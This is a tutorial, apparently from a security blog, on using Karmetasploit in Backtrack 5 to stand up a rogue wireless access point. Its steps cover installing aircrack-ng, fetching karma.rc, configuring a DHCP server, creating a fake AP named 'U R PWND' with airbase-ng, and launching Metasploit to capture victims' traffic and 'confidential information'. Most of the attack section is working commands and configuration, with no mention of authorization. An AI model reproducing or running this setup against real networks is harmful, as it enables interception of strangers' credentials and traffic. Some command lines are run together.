Karmetasploit- Backtrack 5 Tutorial
Wireless communication is now become a need of networking, radio signals are unseen but they carry your information on the form of bits by using different modulation techniques. However security is very important for wireless network because it is more vulnerable. As discussed before about wireless security and rogue access point, in this article i will try to cover Karmetasploit.
So what is Karmetasploit?
KARMA is a wireless client attack toolkit and the integration of Karma and metasploit is called Karmetasploit, in 2004 Dino A. Dai Zovi and Shane A. Macaulay did a presentation called "All your layer are belong to us" in that presentation they have described the insecurity of wireless access point and introduced the tool KARMA. This tool acts as wireless access point and responds to all probe requests from wireless clients. Once a client has associated with the KARMA access point, every service they try to access leads to a malicious application.
The above passage gives the basic introduction of KARMA and about Metasploit your can learn from here.
Karmetasploit Tutorial
Configuration
If you are not using backtrack 5 than you must have to install some dependencies like Aircrack-ng
$ svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
$ make
# make install# airmon-ng start [wifi-interface]
For backtrack like backtrack5 follow the procedure
root@bt:/pentest/exploits/framework3# wget http://www.offensive-security.com/downloads/karma.rc
Now here is the need to configure DHCP server so that the Fake AP connect with the network.
root@bt:/pentest/exploits/framework3# cat /etc/dhcp3/dhcpd.conf
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}
root@bt:~# gem install activerecord sqlite3-ruby
By we approx done now the time to restart the wireless interface and start listening.
root@bt:~# airmon-ng
root@bt:~# airmon-ng stop ath0
root@bt:~# airmon-ng start wifi0
root@bt:~# airbase-ng -P -C 30 -e "U R PWND" -v ath1
What this commands do? These command is used to create a new interface that is rogue interface or fake AP, now we have to assign IP address and DHCP configuration so the interface work properly.
root@bt:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0root@bt:~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0root@bt:~# ps aux | grep dhcpd
Karmetasploit Attack Vector
After configuration you are ready to run karmetasploit and start an attack
root@bt:~# cd /pentest/exploits/framework3/
root@bt:/pentest/exploits/framework3# msfconsole -r karma.rc
The command will start metasploit and than Karma script start to act as a fake AP and it will give you the command like this
msf auxiliary(http) >
When the victim will start using this AP you are free to monitor all the activities and you can record of the confidential information.
msf auxiliary(http) >
[*] DNS 10.0.0.100:1276 XID 87 (IN::A www.google.com)
This is little advance tutorial and if you dont understand it than it means you have to understand rogue access point first.
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